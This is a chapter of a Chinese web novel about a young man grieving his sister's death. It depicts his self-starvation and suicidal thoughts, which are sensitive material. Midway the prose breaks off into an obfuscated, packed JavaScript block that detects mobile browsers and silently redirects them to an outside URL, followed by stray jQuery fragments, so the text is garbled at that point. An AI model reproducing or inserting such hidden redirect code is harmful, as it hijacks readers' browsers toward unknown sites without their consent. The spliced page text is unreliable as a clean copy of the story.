16. 引力
作品:《高考毕业后和楼下哑巴》 林筠没有做好任何准备,猝不及防被告知这样的消息,手机从他手里滑落掉到地上。
夜里出租车来的晚,等他赶到医院,一切都已经迟了。
或许这种事往往发生得难以预料,就像白天里林晴在电话里还是活泼的语气,未来的生活在她口中初显轮廓,晚上却传来噩耗,就像小时候他和林晴去到奶奶的房间,伸出手碰到的却是老人冰凉僵硬的身体。
林筠记不清这几天到底是怎么过的。
医生走出手术室,对他发出第一声叹息,说我们已经尽力了,白布盖上了她的脸,他没敢再掀开,医院专用章啪嗒一声摁在死亡证明上,干脆利落如焚烧炉里纷飞的布料灰烬,在明灭火星中燃烧殆尽。他站在旁边,看着自己方才按下火化键的手,最后想的是,原来骨灰并不是粉末,还有一些成块的细碎,需要亲人一块块砸碎装起来。这该多么残忍。他的思绪一直游离在身躯外。
林晴总说,日子是会越过越好的。可事实是,他先后跟父母,奶奶告别,不久前最后唯一的亲人也离开了他。
他横卧在房间的床上,犹如躺在一张与世界隔离的病床上,周身沐浴着的月光像那天林晴身上盖的白布,寒凉刺骨,让他想起之前和林晴初次来到江湾的时候。
两人刚到江湾,无依无靠,很难立足,兜里只揣着几张皱皱的纸币,林晴对学习没有兴趣,用她的话来说就是晕字,早早就辍学出来打工。家里还有个弟弟,她不得已白天在电子厂上班,晚上送外卖,一天到晚连轴转,到凌晨才能歇下来。林筠心疼亲姐,经常偷偷背着她做手工去街上卖,林晴发现后,狠狠骂了他一顿,然后没收他所有材料。
家里刚开始是没有书桌的,只买了个床上小桌,十几块,他在床上写作业,林晴拎着刚冒雪买的黑笔和草稿纸,推门进来,一边将东西丢给了他,一边吐槽大雪天气。他往壳里装着笔芯,林晴就捞起被子盖在自己身上,在他身边坐下。
什么牛顿第一第二第三定律,小球在空中抛来又抛去,林晴都看不懂题目,但这玩意不是自己写,就会变得有意思,她欣赏了一会林筠整齐有力的字,然后,他握着黑笔停顿许久,说,姐,我不想学习了。
他既不能躺在家里的床上,也无法安心地坐在教室里的桌椅上。
结果林晴用力拍了下他手臂,看上去有点火大,说他只用好好上学,将来上大学出人头地,进公司当大老板,有了钱,就能给奶奶烧个别墅跑车,让奶奶在那一边过上拉风的日子,还能给她买间大房子,最好独栋带花园游泳池。林晴乐不思蜀地许愿,因为她比谁都清楚林筠是个学习的料子。
最后,林筠连高中都没有念完。
时至今日,林筠还记得当时的场景。
明朗而健康的声音在小小租房四角里散开来,草稿纸上的橡皮屑被她拂落至垃圾桶里,作业最后一道题是天体运动。
如果真的能算出逃离地心引力的公式就好了。他想找到林晴。宇宙之外的林晴。
他开始思考。
林晴去世,那他存的钱是为了谁呢?那么努力地活着,到头来却是什么也没守住,这么无能的他存在的价值是什么?充满不安,也没有爱,那他还有必要存在吗?
一个人上班,一个人吃饭,一个人打扫房间,一个人小心翼翼地过马路,一个人待在曾经热闹过的地方,一个人日日夜夜孤独地奔走,然后在最后一丝橘黄色光线消散后,一个人沉没进黑夜。
今天和明天不会有任何不同和差异,他从此以后去到的地方都没有任何意义,靠着思念苟死苟活。其中不乏他人的白眼和冷嘲——他会有这么强韧的承受力吗?
和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107865|163971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时穗告别后的精神状态本就岌岌可危,林筠儿时仅存的鲜活,面对家人才能开怀的心,在焚烧炉里随林晴燃烧殆尽了。现在的他甚至没有多余的力气下床,为自己做一顿热饭。
他就这么直直躺在床上,活生生挨饿,饿晕了就睡过去,睁开眼就忍受,胃和肠这些脏器的疼痛,并且打算一直这样下去。
到后面,他还经常出现幻觉,想到她。想到她再次推开那扇门,出现在他面前。
林筠翻身掉下床,费尽力气爬到她边上,抱着她腿求她带自己离开,去哪都可以。只要她不丢下自己,不要让他一个人,什么都可以对他做,泄欲,撒气迁怒,娱乐消遣,别说在他腰腹上纹身,他从头到脚都可以是她的画板。她想纹什么纹什么。他的物欲很低,基本除了维持生命特征没有其他开销,能吃饱饭就行,也不用吃太好,随便给点剩饭剩菜就能养活,他可以将每个月的工钱一分不少都转给她,尽管她不稀罕。
林筠哭着醒来,然后发现自己躺在门边的空地上,自己怎么还没死?林晴的骨灰盒还在床上,一个小罐子孤零零立在那,他又艰难爬上床将骨灰盒抱在怀里,试图去捂热冰凉的瓷器。
指节圈着林晴最后留给自己,在医院编织的竹编小马——那是他处理完林晴后事,回到曾经病房在桌上看见的小马。林晴好多次在他梦里骑着小马,小马跟脚踩筋斗云似的,踩出一个个云朵后迅速飞走,他怎么追也追不上。
他抱着骨灰盒,睡得时间变得越来越久。最后一次,他在梦里又拼尽全力抱紧怀里的东西,感受到的却不是冷冰冰,坚硬的触感。
多日未进食的身体功能开始运转似的,迟钝的大脑终于有了反应,他慢慢抬起头,眼里的水汽使视野渐渐变得模糊了。
“我一不在,你怎么就把自己弄的这么可怜啊。”她笑。